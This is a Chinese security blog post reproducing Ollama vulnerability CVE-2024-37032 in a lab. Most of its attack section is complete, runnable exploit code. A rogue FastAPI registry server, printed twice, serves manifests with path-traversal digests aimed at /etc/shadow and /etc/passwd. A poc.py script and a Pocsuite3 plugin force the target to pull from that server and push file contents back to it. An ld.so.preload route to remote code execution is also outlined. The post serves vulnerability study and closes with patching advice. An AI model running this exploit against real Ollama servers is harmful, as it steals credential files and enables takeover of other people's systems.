Ollama远程代码执行漏洞(CVE-2024-37032)


一、Ollama介绍

Ollama 是一款开源的本地化大语言模型(LLM)运行框架,专注于简化开源模型的部署和管理流程。它支持用户通过简单的命令行工具在个人电脑或服务器上直接运行多种主流开源模型(如 DeepSeek-R1、Llama 2、Mistral 等),无需依赖云端服务,从而实现数据完全离线处理以保障隐私安全。Ollama 提供跨平台支持(Windows/macOS/Linux),具备一键式模型下载、运行和交互功能,并允许通过 Modelfile 自定义模型参数(如上下文长度、温度系数等)。其特性还包括兼容 OpenAI API 接口,便于与 LangChain 等开发工具集成,同时支持多模态扩展和检索增强生成(RAG) 。当前主要应用于开发测试、企业内部私有化部署、学术研究及边缘计算场景 。

二、远程代码执行漏洞(CVE-2024-37032)简介

2.1 漏洞描述

CVE-2024-37032 是 Ollama 开源大语言模型部署框架中的高危远程代码执行(RCE)漏洞,CVSS 3.1 评分为 9.1 ,因其核心利用路径与模型管理功能相关,被命名为 “Probllama” 。

要利用此漏洞,攻击者必须向 Ollama API 服务器发送特制的 HTTP 请求。在默认的 Linux 安装中,API 服务器绑定到 localhost,这大大降低了远程利用的风险。但是,在 docker 部署中,服务器以 root 权限运行并默认侦听 0.0.0.0,API 服务器是公开的,因此可以被远程利用。

通常,建议将Ollama 部署在反向代理后以强制进行身份验证。

2.2 漏洞影响

Ollama < 0.1.34(默认未启用身份验证)
  • 风险场景 :

Docker 部署 :默认以 root 权限监听 0.0.0.0 端口,暴露公网时可直接被远程利用。

本地部署 :若未限制 API 接口访问权限(默认监听 localhost),可能通过内网渗透触发漏洞。

  • 核心危害

服务器完全控制 :攻击者可窃取模型数据、植入后门或勒索软件。

模型投毒与供应链攻击 :篡改模型参数或窃取知识产权,破坏业务逻辑。

数据泄露 :通过路径遍历读取服务器任意敏感文件(如 SSH 密钥、配置文件)。

2.3 漏洞原理

  • 路径遍历与文件写入

漏洞源于 Ollama 的 /api/pull 接口在处理私有模型仓库的清单文件(Manifest)时,未对 digest 字段进行有效校验。攻击者可构造恶意 digest 值(如 ../../../etc/ld.so.preload ),利用路径遍历将文件写入系统关键目录(如 /etc/ ) 。

  • 动态库劫持触发 RCE

通过覆盖 /etc/ld.so.preload 等文件,攻击者可植入恶意动态链接库。当系统进程加载该库时,自动执行攻击载荷(如反弹 Shell),实现远程代码执行。

三、漏洞复现

3.1 环境搭建

直接在家目录执行如下命令启动 Ollama 0.1.33 服务:

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
-v ollama:/root/.ollama 作用 :
		将 Docker 的 命名卷 ollama 挂载到容器内的 /root/.ollama 目录 。 
技术细节 :
    命名卷 :数据保存在 Docker 默认路径(如 【/var/lib/docker/volumes/ollama】 ),避免容器删除导致数据丢失。 
应用场景 :
    存储模型文件、配置等关键数据,例如下载的 Llama3 或 Deepseek-R1 模型会持久化在此目录。

服务成功运行。

3.2 ollama接口

Ollama 公开了多个执行各种操作的 API endpoints,其中, /api/pull 可用于从 Ollama 下载模型。

默认情况下,服务器将从 Ollama 官方仓库 registry.ollama.com 下载模型,但也允许从私有仓库中获取模型。

当下载模型时,通常会得到一个包含 manifest 文件的下载包或资源。在一个正常的 manifest 文件中,给定 layer 的 digest 字段应该与该层的哈希值一致。该字段还作为模型文件存储在磁盘的标识符,例如:

/root/.ollama/models/blobs/sha256-2049f5674b1e92b4464e5729975c9689fcfbf0b0e4443ccf10b5339f370f9a54

如果是按照3.1 搭建的环境,本地的/var/lib/docker/volumes/ollama/_data/models/blobs目录会同olama容器的/root/.ollama目录相关联。

但是,模型文件存储到文件系统时未对 digest 字段进行校验,如果在该字段中构造一个 payload,将会导致服务器在处理 manifest 时读取并泄露 digest 字段指定的文件内容,通过该漏洞,攻击者可读取任意文件。

例如,当通过 http://<VICTIM>:11434/api/pull 从私有仓库中下载模型时,可能会获取一个恶意的 manifest 文件,该文件的 digest 字段中将包含路径遍历的 payload:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "../../../../../../../../../../../../../../../../../../../traversal",
    "size": 5
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.license",
      "digest": "../../../../../../../../../../../../../../../../../../../../../traversal",
      "size": 7020
    }
  ]
}

因此,我们可以在服务器上部署一个恶意的 manifest 文件,例如 /root/.ollama/models/manifests/<ATTACKER>/library/manifest/latest ,当通过 /api/push 将该模型推送到远程仓库时,服务器将泄露 digest 字段中指定的文件内容。

实现远程代码执行的思路是破坏动态链接器/加载器 ld.so ,修改 /etc/ld.so.preload。通过任意文件写入,将恶意 .so 写入文件系统,然后使 ld.so.preload 包含恶意库。最后,访问 /api/chat 创建一个新进程,从而加载恶意 .so 实现远程代码执行。

3.3 漏洞复现

3.3.1 构建一个恶意服务器

构建一个恶意的模型,当靶机通过api访问恶意模型时,进行文件读取:

HOST改成服务器(VPS)的ip:

'''
server.py
'''

from fastapi import FastAPI, Request, Response

HOST = "192.168.52.6"
app = FastAPI()

@app.get("/")
async def index_get():
    return {"message": "Hello rogue server"}

@app.post("/")
async def index_post(callback_data: Request):
    print(await callback_data.body())
    return {"message": "Hello rogue server"}

# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    return ''

@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
    return 'cve-2024-37032-test'

@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    return ''

@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
    return 'cve-2024-37032-test'

# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
    print('patch')
    print(await callback_data.body())
    return ''

@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
    print(await callback_data.body())
    return ''

@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)
python3  server.py#攻击机

3.3.2 运行poc测试

'''
poc.py
'''
import requests

HOST = "192.168.52.6" #恶意服务器的ip
target_url = "192.168.52.3:11434" #靶机的ollama服务 

vuln_registry_url = f"{HOST}/rogue/bi0x"

pull_url = f"{target_url}/api/pull"
push_url = f"{target_url}/api/push"

requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})
requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})

# see rogue server log
python3 poc.py

3.3.3 漏洞复现

成功读取到目标靶机服务器的/etc/passwd文件。

漏洞复现成功。

四、PocSuite3 POC

4.1 代码

"""
1)使用时将MALICIOUS_HOST改成实际的恶意服务器IP
2)-u 参数指定ollama服务,如 -u http://192.168.52.3:11434/
3)恶意服务的代码见末尾,安装依赖后运行:python3 server.py
依赖如下:
fastapi==0.95.1
uvicorn==0.30.1
requests==2.31.0
"""

from pocsuite3.api import (
    Output,
    POCBase,
    register_poc,
    requests,
    logger,
    VUL_TYPE,
    POC_CATEGORY,
)


class OllamaRCE(POCBase):
    vulID = 'CVE-2024-37032'
    version = '1'
    author = 'sixiaokai'
    vulDate = '2024-05-13'
    createDate = '2024-05-13'
    updateDate = '2024-05-13'
    references = ["https://github.com/Bi0x/CVE-2024-37032/tree/main?tab=readme-ov-file"]
    name = 'ollama 远程代码执行漏洞(CVE-2024-37032)'
    appPowerLink = 'https://ollama.com/'
    appName = 'Ollama'
    appVersion = '<0.1.34'
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
        Ollama服务允许使用不安全的Registry配置,攻击者可以强制目标服务器从恶意registry拉取/推送镜像,导致读写受害服务的任意文件。
        实现远程代码执行的思路是破坏动态链接器/加载器 [ld.so](https://man7.org/linux/man-pages/man8/ld.so.8.html) ,
        修改 `/etc/ld.so.preload`。
        通过任意文件写入,将恶意 `.so` 写入文件系统,然后使 `ld.so.preload` 包含恶意库。最后,访问 `/api/chat` 创建一个新进程,
        从而加载恶意 `.so` 实现远程代码执行。
    '''

    MALICIOUS_HOST = "192.168.52.6"  # 恶意服务器IP
    ROGUE_PATH = "rogue/bi0x"  # 固定恶意镜像路径

    def _verify(self):
        result = {}
        target = self.url.lower().rstrip("/")

        if not target.startswith(("http://", "https://")):
            target = f"http://{target}"

        vuln_registry = f"{self.MALICIOUS_HOST}/{self.ROGUE_PATH}"
        requests_sent = False

        try:
            # 发送pull请求
            pull_url = f"{target}/api/pull"
            pull_resp = requests.post(
                pull_url,
                json={"name": vuln_registry, "insecure": True},
                verify=False,
                timeout=5
            )
            requests_sent = True

            # 发送push请求
            push_url = f"{target}/api/push"
            push_resp = requests.post(
                push_url,
                json={"name": vuln_registry, "insecure": True},
                verify=False,
                timeout=5
            )

            # 只要请求成功发送即认为可能存在问题
            result['VerifyInfo'] = {
                'URL': target,
                'Malicious Registry': vuln_registry,
                'Note': '请检查恶意服务器(192.168.52.6)的请求日志确认攻击是否成功'
            }

        except Exception as e:
            logger.error(f"请求失败: {str(e)}")
            if requests_sent:
                result['VerifyInfo'] = {
                    'URL': target,
                    'Warning': '部分请求已发送,请检查服务器日志'
                }

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
            output.show_user_message(
                "[!] 如果恶意服务器(192.168.52.6)收到来自目标的请求,则漏洞存在\n"
                "[!] 请立即检查恶意服务器的访问日志进行确认"
            )
        else:
            output.fail("目标未返回有效响应,漏洞可能不存在")
        return output


register_poc(OllamaRCE)



"""
'''
server.py
'''
from fastapi import FastAPI, Request, Response

HOST = "192.168.52.6" #恶意服务的IP
app = FastAPI()

@app.get("/")
async def index_get():
    return {"message": "Hello rogue server"}

@app.post("/")
async def index_post(callback_data: Request):
    print(await callback_data.body())
    return {"message": "Hello rogue server"}

# for ollama pull
@app.get("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests():
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/etc/passwd")
async def fake_passwd_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    return ''

@app.get("/etc/passwd", status_code=206)
async def fake_passwd_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
    return 'cve-2024-37032-test'

@app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
async def fake_latest_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    return ''

@app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
async def fake_latest_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}

@app.head("/tmp/notfoundfile")
async def fake_notfound_head(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    return ''

@app.get("/tmp/notfoundfile", status_code=206)
async def fake_notfound_get(response: Response):
    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
    response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
    return 'cve-2024-37032-test'

# for ollama push
@app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
async def fake_upload_post(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

@app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_patch_file(callback_data: Request):
    print('patch')
    print(await callback_data.body())
    return ''

@app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
async def fake_post_file(callback_data: Request):
    print(await callback_data.body())
    return ''

@app.put("/v2/rogue/bi0x/manifests/latest")
async def fake_manifests_put(callback_data: Request, response: Response):
    print(await callback_data.body())
    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
    return ''

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)
"""

4.2 测试

  • 在恶意服务器上开启恶意服务:

a

  • 运行poc
pocsuite -r ollama-RCE-CVE-2024-37032.py -u http://192.168.52.3:11434/
  • 查看恶意服务收到的信息

成功读取到受害主机的/etc/passwd文件,证明了漏洞的存在性。

五、修复建议

  • 升级至安全版本 :Ollama ≥ 0.1.34 已修复路径遍历校验问题 。

  • 启用身份验证 :为 API 接口配置强制认证(如 API 密钥),防止未授权访问 。

  • 网络隔离 :限制 Ollama 服务的公网暴露,仅在内网开放必要端口,并通过防火墙过滤异常请求。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录